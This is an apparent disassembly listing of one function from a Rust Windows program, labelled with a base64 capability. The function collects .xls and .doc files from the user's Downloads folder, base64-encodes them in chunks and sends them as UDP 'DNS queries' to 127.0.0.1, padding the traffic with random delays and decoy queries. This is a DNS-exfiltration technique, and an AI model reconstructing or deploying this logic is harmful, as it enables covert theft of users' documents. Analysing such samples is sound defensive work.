Function at 0x140002660
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x8d8
movaps xmmword [rsp + 0x8c0], xmm9
movaps xmmword [rsp + 0x8b0], xmm8
movaps xmmword [rsp + 0x8a0], xmm7
movaps xmmword [rsp + 0x890], xmm6
lea rcx, [rsp + 0x168]
call sym.dirs::home_dir::h4fee5cd61858eba1
xor eax, eax
cmp rax, qword [rsp + 0x168]
jo 0x14000376d
movups xmm0, xmmword [rsp + 0x168]
movups xmm1, xmmword [rsp + 0x178]
movaps xmmword [rsp + 0x3e0], xmm1
movaps xmmword [rsp + 0x3d0], xmm0
lea rcx, [rsp + 0x3d0]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h2da118fa099de4c7
mov r8, rdx
mov qword [rsp + 0x20], 9
lea r9, str.Downloads
lea r12, [rsp + 0xc0]
mov rcx, r12
mov rdx, rax
call sym.std::path::Path::_join::hb934b2202d45950e
mov rdx, qword [rsp + 0x3d0]
test rdx, rdx
je 0x140002725
mov rcx, qword [rsp + 0x3d8]
mov r8d, 1
call sym.__rust_dealloc
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 8
mov qword [rsp + 0x70], 0
movups xmm0, xmmword [rsp + 0xc0]
movups xmm1, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x640], xmm1
movaps xmmword [rsp + 0x630], xmm0
lea rcx, [rsp + 0x630]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h2da118fa099de4c7
mov r8, rdx
lea rcx, [rsp + 0x168]
mov rdx, rax
call sym.std::sys::pal::windows::fs::readdir::hc66a6be4d8a9127e
mov esi, dword [rsp + 0x178]
mov rdi, qword [rsp + 0x168]
cmp esi, 2
jne 0x1400027a3
mov rdx, qword [rsp + 0x630]
test rdx, rdx
jne 0x1400027d3
jmp 0x1400027e6
mov rbx, qword [rsp + 0x170]
lea rdx, [rsp + 0x17c]
lea rcx, [rsp + 0x3d0]
mov r8d, 0x254
call sym.memcpy
mov rdx, qword [rsp + 0x630]
test rdx, rdx
je 0x1400027e6
mov rcx, qword [rsp + 0x638]
mov r8d, 1
call sym.__rust_dealloc
cmp esi, 2
je 0x140003779
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], rbx
mov dword [rsp + 0x178], esi
lea rcx, [rsp + 0x17c]
lea rsi, [rsp + 0x3d0]
mov r8d, 0x254
mov rdx, rsi
call sym.memcpy
lea r13, [rsp + 0x3e8]
lea rbx, [rsp + 0x640]
lea r14, [rsp + 0x168]
lea r15, [rsp + 0xe0]
lea rdi, [rsp + 0x630]
nop dword [rax]
mov rcx, rsi
mov rdx, r14
call sym.__std::fs::ReadDir_as_core::iter::traits::iterator::Iterator_::next::h62329a2e08ab767d
test byte [rsp + 0x3d0], 1
je 0x140002a39
mov rcx, qword [rsp + 0x3d8]
mov rax, qword [rsp + 0x3e0]
test rcx, rcx
je 0x140003677
mov qword [rsp + 0x630], rcx
mov qword [rsp + 0x638], rax
mov r8d, 0x248
mov rcx, rbx
mov rdx, r13
call sym.memcpy
mov rcx, r15
mov rdx, rdi
call sym.std::fs::DirEntry::path::ha122a1c47b0590cb
mov rcx, r15
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h2da118fa099de4c7
mov rcx, rax
call sym.std::path::Path::extension::h5e86d2bf5e1fae43
test rax, rax
setne cl
cmp rdx, 3
sete dl
and dl, cl
cmp dl, 1
jne 0x1400029fa
movzx ecx, word [rax]
xor ecx, 0x6c78
movzx edx, byte [rax + 2]
xor edx, 0x73
or dx, cx
je 0x140002904
movzx ecx, word [rax]
xor ecx, 0x6f64
movzx eax, byte [rax + 2]
xor eax, 0x63
or ax, cx
jne 0x1400029fa
mov rcx, r15
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h2da118fa099de4c7
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rdx
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x158], 0x20
mov byte [rsp + 0x160], 3
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x138], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x148], rax
lea rax, fcn.140002340
mov qword [rsp + 0x150], rax
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x128]
call sym.__std::path::Display_as_core::fmt::Display_::fmt::hf3ab5e07639dc200
test al, al
jne 0x14000373c
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x38], rax
mov rbp, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
mov r12, qword [rsp + 0x70]
cmp r12, qword [rsp + 0x60]
jne 0x1400029c6
lea rcx, [rsp + 0x60]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::ha53aa6c86f0e20c8
mov rax, qword [rsp + 0x68]
lea rcx, [r12 + r12*2]
mov rdx, qword [rsp + 0x38]
mov qword [rax + rcx*8], rdx
mov qword [rax + rcx*8 + 8], rbp
mov qword [rax + rcx*8 + 0x10], rdi
inc r12
mov qword [rsp + 0x70], r12
lea r12, [rsp + 0xc0]
lea rdi, [rsp + 0x630]
mov rdx, qword [rsp + 0xe0]
test rdx, rdx
je 0x140002a1a
mov rcx, qword [rsp + 0xe8]
mov r8d, 1
call sym.__rust_dealloc
mov rax, qword [rsp + 0x630]
lock dec qword [rax]
jne 0x140002850
mov rcx, rdi
call sym.alloc::sync::Arc_T_A_::drop_slow::he76577adb4fc8242
jmp 0x140002850
lea rcx, [rsp + 0x170]
call sym.__std::sys::pal::windows::fs::FindNextFileHandle_as_core::ops::drop::Drop_::drop::h99e34f9a539bece9
mov rax, qword [rsp + 0x168]
lock dec qword [rax]
jne 0x140002a61
lea rcx, [rsp + 0x168]
call sym.alloc::sync::Arc_T_A_::drop_slow::he76577adb4fc8242
movups xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x100], xmm0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x110], rax
lea rcx, str.0.0.0.0:0Failed_to_bind_UDP_socket
mov edx, 9
call sym.std::net::udp::UdpSocket::bind::hc23fbf4bdc71a94c
test al, 1
jne 0x1400037af
mov qword [rsp + 0x40], rdx
lea rax, str.127.0.0.1
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x170], 9
mov word [rsp + 0x178], 0x35
lea rcx, [rsp + 0x168]
lea rdx, [rsp + 0x40]
call sym.std::net::each_addr::haeb5aad7b4c4172e
test rax, rax
jne 0x1400037e5
mov r8, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x108]
mov rax, qword [rsp + 0x110]
lea rcx, [rax + rax*2]
lea rcx, [rdx + rcx*8]
mov qword [rsp + 0x3d0], rdx
mov qword [rsp + 0x3d8], rdx
mov qword [rsp + 0x120], r8
mov qword [rsp + 0x3e0], r8
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x3e8], rcx
mov qword [rsp + 0x88], rdx
mov rdi, rdx
test rax, rax
je 0x140003507
xorps xmm6, xmm6
movss xmm7, dword [0x1400a8240]
movss xmm8, dword [0x1400a8244]
mov rax, qword [rsp + 0x88]
jmp 0x140002b80
mov rcx, qword [rsp + 0x80]
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rcx, qword [rsp + 0x78]
je 0x1400034fa
lea rcx, [rax + 0x18]
mov qword [rsp + 0x30], rcx
mov rdi, qword [rax]
movabs rcx, 0x8000000000000000
cmp rdi, rcx
je 0x1400034f3
mov rbx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov dword [rsp + 0x168], 0
lea rax, [rsp + 0x170]
movups xmmword [rax], xmm6
mov dword [rsp + 0x180], 7
lea rax, [rsp + 0x184]
mov word [rax + 8], 0
mov qword [rax], 0
mov byte [rsp + 0x188], 1
lea rcx, [rsp + 0x168]
mov rdx, rbx
call sym.std::fs::OpenOptions::_open::h9f10620c6ea579a7
mov r14, rax
mov rsi, rdx
test rdi, rdi
je 0x140002c11
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
test r14b, 1
jne 0x1400036b0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 0
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x48]
call sym.__std::fs::File_as_std::io::Read_::read_to_end::he771dbc137fe05f1
test al, 1
jne 0x1400036f6
mov r13, qword [rsp + 0x58]
test r13, r13
je 0x1400034d0
mov r15, qword [rsp + 0x50]
jmp 0x140002c7c
add r15, rsi
sub r13, rsi
je 0x1400034d0
cmp r13, 0x32
mov esi, 0x32
cmovb rsi, r13
mov rcx, r12
lea rdx, [0x1400a8460]
mov r8, r15
mov r9, rsi
call sym.base64::engine::Engine::encode::inner::hd73f1cf7f8603a0d
mov qword [rsp + 0x630], r12
lea rax, [fcn.140002640]
mov qword [rsp + 0x638], rax
lea rax, [0x1400a85b0]
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x170], 2
mov qword [rsp + 0x188], 0
lea rax, [rsp + 0x630]
mov qword [rsp + 0x178], rax
mov qword [rsp + 0x180], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x168]
call sym.alloc::fmt::format::format_inner::h14d819619ba6a036
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0xa0], rdx
call sym.std::net::udp::UdpSocket::send::h8735e4944de367a1
test al, 1
jne 0x1400035ca
call sym.rand::rngs::thread::thread_rng::h25de1e1529ca669e
mov rdi, rax
mov qword [rsp + 0x168], rax
lea r8, [rax + 0x10]
mov rax, qword [rax + 0x110]
cmp rax, 0x3f
jae 0x140002d90
lea rcx, [rax + 2]
mov qword [rdi + 0x110], rcx
mov rbx, qword [rdi + rax*4 + 0x10]
dec qword [rdi]
jne 0x140002e80
jmp 0x140002e59
jne 0x140002de0
mov r14d, dword [rdi + 0x10c]
mov rcx, rdi
add rcx, 0x120
mov rax, qword [rdi + 0x158]
test rax, rax
jle 0x140002e19
cmp qword [rdi + 0x160], 0
js 0x140002e19
add rax, 0xffffffffffffff00
mov qword [rdi + 0x158], rax
mov edx, 6
call sym.rand_chacha::guts::refill_wide::h54a29a11c4c711a5
jmp 0x140002e21
mov rcx, rdi
add rcx, 0x120
mov rax, qword [rdi + 0x158]
test rax, rax
jle 0x140002e3d
cmp qword [rdi + 0x160], 0
js 0x140002e3d
add rax, 0xffffffffffffff00
mov qword [rdi + 0x158], rax
mov edx, 6
call sym.rand_chacha::guts::refill_wide::h54a29a11c4c711a5
jmp 0x140002e45
mov rdx, r8
call sym._ZN4rand4rngs7adapter9reseeding29ReseedingCore_LT_R_C_Rsdr_GT_19reseed_and_generate17h656b6c24e64d0b89E.llvm.16053839145878033
mov qword [rdi + 0x110], 1
mov ebx, dword [rdi + 0x10]
shl rbx, 0x20
or rbx, r14
dec qword [rdi]
jne 0x140002e80
jmp 0x140002e59
mov rdx, r8
call sym._ZN4rand4rngs7adapter9reseeding29ReseedingCore_LT_R_C_Rsdr_GT_19reseed_and_generate17h656b6c24e64d0b89E.llvm.16053839145878033
mov qword [rdi + 0x110], 2
mov rbx, qword [rdi + 0x10]
dec qword [rdi]
jne 0x140002e80
dec qword [rdi + 8]
jne 0x140002e80
mov edx, 0x170
mov r8d, 0x10
mov rcx, rdi
call sym.__rust_dealloc
nop word cs:[rax + rax]
mov rax, rbx
shr rax, 2
movabs rcx, 0x28f5c28f5c28f5c3
mul rcx
shr edx, 2
imul eax, edx, 0x64
sub ebx, eax
imul edx, ebx, 0xf4240
add edx, 0x2faf080
xor ecx, ecx
call sym.std::thread::sleep::h9e506fa60c70080f
call sym.rand::rngs::thread::thread_rng::h25de1e1529ca669e
mov rdi, rax
mov qword [rsp + 0x168], rax
mov rax, qword [rax + 0x110]
cmp rax, 0x40
jb 0x140002f1a
lea r8, [rdi + 0x10]
mov rcx, rdi
add rcx, 0x120
mov rax, qword [rdi + 0x158]
test rax, rax
jle 0x140002f10
cmp qword [rdi + 0x160], 0
js 0x140002f10
add rax, 0xffffffffffffff00
mov qword [rdi + 0x158], rax
mov edx, 6
call sym.rand_chacha::guts::refill_wide::h54a29a11c4c711a5
jmp 0x140002f18
mov rdx, r8
call sym._ZN4rand4rngs7adapter9reseeding29ReseedingCore_LT_R_C_Rsdr_GT_19reseed_and_generate17h656b6c24e64d0b89E.llvm.16053839145878033
xor eax, eax
mov ecx, dword [rdi + rax*4 + 0x10]
inc rax
mov qword [rdi + 0x110], rax
shr ecx, 8
cvtsi2ss xmm9, ecx
mulss xmm9, xmm7
dec qword [rdi]
jne 0x140002f44
dec qword [rdi + 8]
je 0x1400034b1
ucomiss xmm8, xmm9
jbe 0x14000346b
mov rax, qword [0x1400cdcc8]
movzx eax, byte [rax]
mov ecx, 0xa0
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x140003656
mov r12, rax
lea rax, [0x1400a8456]
mov qword [r12], rax
mov qword [r12 + 8], 0xa
lea rax, [0x1400a83f6]
mov qword [r12 + 0x10], rax
mov qword [r12 + 0x18], 0xc
lea rax, [0x1400a8402]
mov qword [r12 + 0x20], rax
mov qword [r12 + 0x28], 0xa
lea rax, [0x1400a840c]
mov qword [r12 + 0x30], rax
mov qword [r12 + 0x38], 0xb
lea rax, [0x1400a8417]
mov qword [r12 + 0x40], rax
mov qword [r12 + 0x48], 0xc
lea rax, [0x1400a8423]
mov qword [r12 + 0x50], rax
mov qword [r12 + 0x58], 9
lea rax, [0x1400a842c]
mov qword [r12 + 0x60], rax
mov qword [r12 + 0x68], 0xa
lea rax, [0x1400a8436]
mov qword [r12 + 0x70], rax
mov qword [r12 + 0x78], 0xd
lea rax, [0x1400a8443]
mov qword [r12 + 0x80], rax
mov qword [r12 + 0x88], 0xa
lea rax, [0x1400a844d]
mov qword [r12 + 0x90], rax
mov qword [r12 + 0x98], 9
call sym.rand::rngs::thread::thread_rng::h25de1e1529ca669e
mov r14, rax
mov qword [rsp + 0xa8], rax
lea rdi, [rax + 0x10]
mov rbx, rax
add rbx, 0x120
mov rcx, qword [rax + 0x110]
jmp 0x1400030a8
lea rdx, [rcx + 2]
mov qword [r14 + 0x110], rdx
mov rax, qword [r14 + rcx*4 + 0x10]
mov rcx, rdx
mov edx, 0xa
mul rdx
shr rax, 0x3d
cmp eax, 4
jbe 0x140003180
cmp rcx, 0x3f
jb 0x140003080
jne 0x1400030f0
mov ebp, dword [r14 + 0x10c]
mov rax, qword [r14 + 0x158]
test rax, rax
jle 0x140003125
cmp qword [r14 + 0x160], 0
js 0x140003125
add rax, 0xffffffffffffff00
mov qword [r14 + 0x158], rax
mov rcx, rbx
mov edx, 6
mov r8, rdi
call sym.rand_chacha::guts::refill_wide::h54a29a11c4c711a5
jmp 0x140003130
mov rax, qword [r14 + 0x158]
test rax, rax
jle 0x140003150
cmp qword [r14 + 0x160], 0
js 0x140003150
add rax, 0xffffffffffffff00
mov qword [r14 + 0x158], rax
mov rcx, rbx
mov edx, 6
mov r8, rdi
call sym.rand_chacha::guts::refill_wide::h54a29a11c4c711a5
jmp 0x14000315b
mov rcx, rbx
mov rdx, rdi
call sym._ZN4rand4rngs7adapter9reseeding29ReseedingCore_LT_R_C_Rsdr_GT_19reseed_and_generate17h656b6c24e64d0b89E.llvm.16053839145878033
mov qword [r14 + 0x110], 1
mov eax, dword [r14 + 0x10]
shl rax, 0x20
or rax, rbp
mov ecx, 1
jmp 0x140003093
mov rcx, rbx
mov rdx, rdi
call sym._ZN4rand4rngs7adapter9reseeding29ReseedingCore_LT_R_C_Rsdr_GT_19reseed_and_generate17h656b6c24e64d0b89E.llvm.16053839145878033
mov qword [r14 + 0x110], 2
mov rax, qword [r14 + 0x10]
mov ecx, 2
jmp 0x140003093
shl edx, 4
mov r8, qword [r12 + rdx]
mov r9, qword [r12 + rdx + 8]
mov qword [rsp + 0xb0], r8
mov qword [rsp + 0xb8], r9
lea rbp, [rsp + 0x630]
mov rcx, rbp
lea rdx, [0x1400a8460]
call sym.base64::engine::Engine::encode::inner::hd73f1cf7f8603a0d
mov qword [rsp + 0x60], rbp
lea rax, [fcn.140002640]
mov qword [rsp + 0x68], rax
lea rax, [0x1400a85b0]
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x170], 2
mov qword [rsp + 0x188], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x178], rax
mov qword [rsp + 0x180], 1
lea rcx, [rsp + 0x128]
lea rdx, [rsp + 0x168]
call sym.alloc::fmt::format::format_inner::h14d819619ba6a036
mov rdx, qword [rsp + 0x630]
test rdx, rdx
je 0x140003239
mov rcx, qword [rsp + 0x638]
mov r8d, 1
call sym.__rust_dealloc
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x98], rax
mov rdx, qword [rsp + 0x130]
mov r8, qword [rsp + 0x138]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x90], rdx
call sym.std::net::udp::UdpSocket::send::h8735e4944de367a1
test al, 1
jne 0x140003610
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x630], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h263392f271575599]
mov qword [rsp + 0x638], rax
lea rax, str.Sent_fake_DNS_query_for:__n
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x170], 2
mov qword [rsp + 0x188], 0
lea rax, [rsp + 0x630]
mov qword [rsp + 0x178], rax
mov qword [rsp + 0x180], 1
lea rcx, [rsp + 0x168]
call sym.std::io::stdio::_print::he8d037196c1e7ff2
mov rcx, qword [r14 + 0x110]
jmp 0x140003318
lea rdx, [rcx + 2]
mov qword [r14 + 0x110], rdx
mov rax, qword [r14 + rcx*4 + 0x10]
mov rcx, rdx
mov edx, 0x96
mul rdx
shr rax, 0x39
cmp eax, 0x4a
jbe 0x1400033f0
cmp rcx, 0x3f
jb 0x1400032f0
jne 0x140003360
mov ebp, dword [r14 + 0x10c]
mov rax, qword [r14 + 0x158]
test rax, rax
jle 0x140003395
cmp qword [r14 + 0x160], 0
js 0x140003395
add rax, 0xffffffffffffff00
mov qword [r14 + 0x158], rax
mov rcx, rbx
mov edx, 6
mov r8, rdi
call sym.rand_chacha::guts::refill_wide::h54a29a11c4c711a5
jmp 0x1400033a0
mov rax, qword [r14 + 0x158]
test rax, rax
jle 0x1400033c0
cmp qword [r14 + 0x160], 0
js 0x1400033c0
add rax, 0xffffffffffffff00
mov qword [r14 + 0x158], rax
mov rcx, rbx
mov edx, 6
mov r8, rdi
call sym.rand_chacha::guts::refill_wide::h54a29a11c4c711a5
jmp 0x1400033cb
mov rcx, rbx
mov rdx, rdi
call sym._ZN4rand4rngs7adapter9reseeding29ReseedingCore_LT_R_C_Rsdr_GT_19reseed_and_generate17h656b6c24e64d0b89E.llvm.16053839145878033
mov qword [r14 + 0x110], 1
mov eax, dword [r14 + 0x10]
shl rax, 0x20
or rax, rbp
mov ecx, 1
jmp 0x140003303
mov rcx, rbx
mov rdx, rdi
call sym._ZN4rand4rngs7adapter9reseeding29ReseedingCore_LT_R_C_Rsdr_GT_19reseed_and_generate17h656b6c24e64d0b89E.llvm.16053839145878033
mov qword [r14 + 0x110], 2
mov rax, qword [r14 + 0x10]
mov ecx, 2
jmp 0x140003303
imul edx, edx, 0xf4240
add edx, 0x2faf080
xor ecx, ecx
call sym.std::thread::sleep::h9e506fa60c70080f
mov rdx, qword [rsp + 0x98]
test rdx, rdx
je 0x140003423
mov r8d, 1
mov rcx, qword [rsp + 0x90]
call sym.__rust_dealloc
dec qword [r14]
jne 0x140003450
dec qword [r14 + 8]
jne 0x140003450
mov edx, 0x170
mov r8d, 0x10
mov rcx, r14
call sym.__rust_dealloc
nop word cs:[rax + rax]
mov edx, 0xa0
mov r8d, 8
mov rcx, r12
call sym.__rust_dealloc
lea r12, [rsp + 0xc0]
mov rdx, qword [rsp + 0x38]
test rdx, rdx
je 0x140003488
mov r8d, 1
mov rcx, qword [rsp + 0xa0]
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xc0]
test rdx, rdx
je 0x140002c70
mov rcx, qword [rsp + 0xc8]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x140002c70
mov edx, 0x170
mov r8d, 0x10
mov rcx, rdi
call sym.__rust_dealloc
ucomiss xmm8, xmm9
ja 0x140002f4e
jmp 0x14000346b
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x140002b60
mov rcx, qword [rsp + 0x50]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x140002b60
mov rdi, qword [rsp + 0x30]
jmp 0x1400034ff
mov rdi, qword [rsp + 0x78]
mov qword [rsp + 0x3d8], rdi
mov r8, qword [rsp + 0x78]
mov rax, r8
sub rax, rdi
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r8, rdi
je 0x140003562
mov rsi, rdx
shr rsi, 4
add rdi, 8
jmp 0x140003549
add rdi, 0x18
dec rsi
je 0x140003562
mov rdx, qword [rdi - 8]
test rdx, rdx
je 0x140003540
mov rcx, qword [rdi]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x140003540
mov rax, qword [rsp + 0x120]
test rax, rax
je 0x14000358a
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, qword [rsp + 0x88]
call sym.__rust_dealloc
mov rcx, qword [rsp + 0x40]
call sub.WS2_32.dll_closesocket
movaps xmm6, xmmword [rsp + 0x890]
movaps xmm7, xmmword [rsp + 0x8a0]
movaps xmm8, xmmword [rsp + 0x8b0]
movaps xmm9, xmmword [rsp + 0x8c0]
add rsp, 0x8d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x3d8], rax
mov qword [rsp + 0x168], rdx
lea rax, [0x1400a86e8]
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_send_DNS_query
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h68e337b54f95109e
lea r8, [rsp + 0x168]
mov edx, 0x18
call sym.core::result::unwrap_failed::heaa9bd3985e144d1
jmp 0x140003819
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x3d8], rax
mov qword [rsp + 0x168], rdx
lea rax, [0x1400a85e8]
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_send_DNS_query
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h68e337b54f95109e
lea r8, [rsp + 0x168]
mov edx, 0x18
call sym.core::result::unwrap_failed::heaa9bd3985e144d1
jmp 0x140003819
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x3d8], rax
mov ecx, 8
mov edx, 0xa0
call sym.alloc::alloc::handle_alloc_error::h5b2832badfdb0979
jmp 0x140003819
mov qword [rsp + 0x128], rax
lea rax, [0x1400a83d8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__valueErrorsrc_main.rs
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h68e337b54f95109e
lea r8, [rsp + 0x128]
mov edx, 0x2b
call sym.core::result::unwrap_failed::heaa9bd3985e144d1
jmp 0x140003819
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x3d8], rax
mov qword [rsp + 0x168], rsi
lea rax, [0x1400a86b8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__valueErrorsrc_main.rs
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h68e337b54f95109e
lea r8, [rsp + 0x168]
mov edx, 0x2b
call sym.core::result::unwrap_failed::heaa9bd3985e144d1
jmp 0x140003819
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x3d8], rax
mov qword [rsp + 0x168], rdx
lea rax, [0x1400a86d0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__valueErrorsrc_main.rs
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h68e337b54f95109e
lea r8, [rsp + 0x168]
mov edx, 0x2b
call sym.core::result::unwrap_failed::heaa9bd3985e144d1
jmp 0x140003819
lea rax, [0x1400a8300]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_90b35a6239c3d8bdabc530a6a0816f7ff89a0aaflibrary_alloc_src_string.rs
lea r9, [0x1400a8318]
lea r8, [rsp + 0xa8]
mov edx, 0x37
call sym.core::result::unwrap_failed::heaa9bd3985e144d1
jmp 0x140003819
lea rcx, [0x1400a8398]
call sym.core::option::unwrap_failed::h9508d322d744588d
mov qword [rsp + 0x168], rdi
lea rax, [0x1400a83c0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__valueErrorsrc_main.rs
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h68e337b54f95109e
lea r8, [rsp + 0x168]
mov edx, 0x2b
call sym.core::result::unwrap_failed::heaa9bd3985e144d1
jmp 0x140003819
mov qword [rsp + 0x168], rdx
lea rax, [0x1400a8668]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400a8649]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h68e337b54f95109e
lea r8, [rsp + 0x168]
mov edx, 0x19
call sym.core::result::unwrap_failed::heaa9bd3985e144d1
jmp 0x140003819
mov qword [rsp + 0x168], rax
lea rax, [0x1400a86a0]
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_connect_to_DNS_server
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h68e337b54f95109e
lea r8, [rsp + 0x168]
mov edx, 0x1f
call sym.core::result::unwrap_failed::heaa9bd3985e144d1
ud2